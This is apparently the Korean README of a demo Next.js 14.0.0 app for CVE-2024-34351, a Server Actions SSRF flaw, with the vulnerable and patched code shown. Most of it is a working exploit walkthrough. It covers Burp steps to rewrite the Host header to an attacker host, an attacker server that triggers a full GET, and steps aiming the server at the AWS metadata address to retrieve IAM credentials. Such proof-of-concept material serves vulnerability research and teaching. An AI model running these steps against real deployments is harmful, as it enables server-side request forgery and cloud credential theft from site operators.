
CVE-2024-34351 SSRF 취약점을 위한 최소한의 Next.js 14.0.0 데모 앱입니다. 익스플로잇 설정, interactsh 확인, Burp 인터셉션, AWS 메타데이터 권한 상승 단계를 포함합니다.
최소한의 Next.js 14.0.0 애플리케이션으로, Next.js Server Actions의 서버 측 요청 위조(SSRF) 취약점인 CVE-2024-34351을 시연합니다.
Adam Kues와 Shubham Shah가 Assetnote에서 발견했습니다. Next.js 14.1.1에서 수정되었습니다.
Server Action이 redirect('/some-path')를 호출하면, Next.js는 유효성 검사 없이 수신 요청의 Host 헤더를 사용하여 내부 fetch URL을 생성합니다:
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
Host 헤더를 제어하는 공격자는 이 내부 fetch를 서버가 도달할 수 있는 모든 대상으로 지정할 수 있습니다.
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
interactsh는 Next.js 서버가 공격자가 제어하는 호스트로 아웃바운드 요청을 보내는지 확인하는 데 유용합니다.
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
Burp Suite에서:
http://localhost:3000으로 이동하여 인터셉트를 켠 상태로 로그인 양식을 제출합니다.Host: localhost:3000을 Host: abc123.oast.fun으로 변경합니다.이는 아웃바운드 SSRF를 증명합니다. 요청은 브라우저가 아닌 서버 프로세스에서 발생합니다.
interactsh는 응답을 제어할 수 없으므로 Next.js가 GET 요청까지 이어지지 않습니다. 전체 응답 본문을 반환받으려면 포함된 공격자 서버를 사용하십시오:
python3 attacker/attacker_server.py 8888
Host 헤더를 <your-lan-ip>:8888로 설정하고 전달하십시오. 공격자 서버는 HEAD에 대해 Content-Type: text/x-component로 응답하여 GET을 트리거합니다. 전체 응답 본문은 Burp에서 볼 수 있는 Next.js 응답 내에 반환됩니다.
AWS EC2 인스턴스에서 취약한 앱을 실행 중인 경우 Host 헤더를 다음과 같이 설정하십시오:
Host: 169.254.169.254
Next.js가 인스턴스 메타데이터 서비스에서 가져옵니다. IAM 자격 증명을 검색하려면:
Host: 169.254.169.254
그런 다음 리디렉션 경로를 조정하거나 후속 요청을 사용하여 대상을 지정하십시오:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
전체 메타데이터 응답이 공격자의 브라우저에 반환됩니다.
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
수정 사항은 process.env.__NEXT_PRIVATE_ORIGIN을 우선시합니다. 이는 서버 시작 시 설정되며 공격자가 제어할 수 없습니다.